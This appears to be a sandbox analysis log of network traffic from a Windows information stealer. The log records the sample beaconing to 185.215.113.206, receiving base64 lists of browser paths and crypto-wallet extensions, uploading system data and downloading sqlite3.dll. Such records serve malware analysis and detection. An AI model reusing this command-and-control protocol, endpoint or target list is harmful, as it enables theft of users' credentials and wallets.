Oct 30, 2024 02:27:23.756082058 CET	63263	53	192.168.2.4	1.1.1.1
Oct 30, 2024 02:27:23.763155937 CET	53	55363	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:23.763175011 CET	53	63263	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 02:27:18.336879969 CET	192.168.2.4	1.1.1.1	0xc077	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 02:27:18.337089062 CET	192.168.2.4	1.1.1.1	0x721a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 02:27:22.982060909 CET	192.168.2.4	1.1.1.1	0x7739	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 02:27:22.982285976 CET	192.168.2.4	1.1.1.1	0xb906	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 02:27:23.755948067 CET	192.168.2.4	1.1.1.1	0xe6d2	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 02:27:23.756082058 CET	192.168.2.4	1.1.1.1	0x70d1	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 02:27:18.343909025 CET	1.1.1.1	192.168.2.4	0xc077	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 30, 2024 02:27:18.344044924 CET	1.1.1.1	192.168.2.4	0x721a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 02:27:22.989779949 CET	1.1.1.1	192.168.2.4	0x7739	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 02:27:22.989779949 CET	1.1.1.1	192.168.2.4	0x7739	No error (0)	plus.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 02:27:22.989797115 CET	1.1.1.1	192.168.2.4	0xb906	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 02:27:23.763155937 CET	1.1.1.1	192.168.2.4	0xe6d2	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

www.google.com

apis.google.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	2536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 02:27:03.425416946 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 02:27:04.332597017 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:04.382447004 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 44 46 35 43 43 41 32 35 35 44 32 35 39 34 32 34 38 33 34 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="hwid"BDDF5CCA255D2594248341------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="build"tale------AFIEGCAECGCAEBFHDHIE--
Oct 30, 2024 02:27:04.676840067 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 32 51 33 4f 54 59 32 4d 6d 45 35 5a 44 6b 77 4f 44 59 79 4d 54 4d 30 4f 44 64 6b 5a 44 42 6a 5a 47 4d 33 4e 47 46 69 4d 7a 4e 6c 4e 47 4e 6a 59 7a 63 30 4d 54 4e 6b 4d 6d 52 6a 4e 6d 4e 6d 4e 7a 6b 35 4d 6a 55 35 4d 6a 51 32 4e 54 64 68 4e 57 56 68 4d 7a 4a 68 4d 6d 52 68 4f 44 4a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Y2Q3OTY2MmE5ZDkwODYyMTM0ODdkZDBjZGM3NGFiMzNlNGNjYzc0MTNkMmRjNmNmNzk5MjU5MjQ2NTdhNWVhMzJhMmRhODJlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 02:27:04.677927971 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"browsers------DGDBKFBAKFBFHIECFBFI--
Oct 30, 2024 02:27:04.965326071 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 02:27:04.965408087 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 02:27:04.966952085 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"plugins------CBAKJKJJJECFIEBFHIEG--
Oct 30, 2024 02:27:05.247893095 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 02:27:05.247955084 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 30, 2024 02:27:05.247991085 CET	424	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 30, 2024 02:27:05.248044014 CET	1236	IN	Data Raw: 61 6d 39 75 59 6d 5a 69 5a 32 46 76 59 33 77 78 66 44 42 38 4d 48 78 48 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 Data Ascii: am9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWl
Oct 30, 2024 02:27:05.248079062 CET	1236	IN	Data Raw: 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 Data Ascii: Z2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV
Oct 30, 2024 02:27:05.248114109 CET	424	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWd
Oct 30, 2024 02:27:05.248193979 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 30, 2024 02:27:05.248229027 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 30, 2024 02:27:05.249972105 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="message"fplugins------DAECGCGHCGHCAKECBKJK--
Oct 30, 2024 02:27:05.529006004 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 02:27:05.547967911 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.206 Content-Length: 5615 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 02:27:05.548027992 CET	5615	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 02:27:06.333981991 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:06.903750896 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
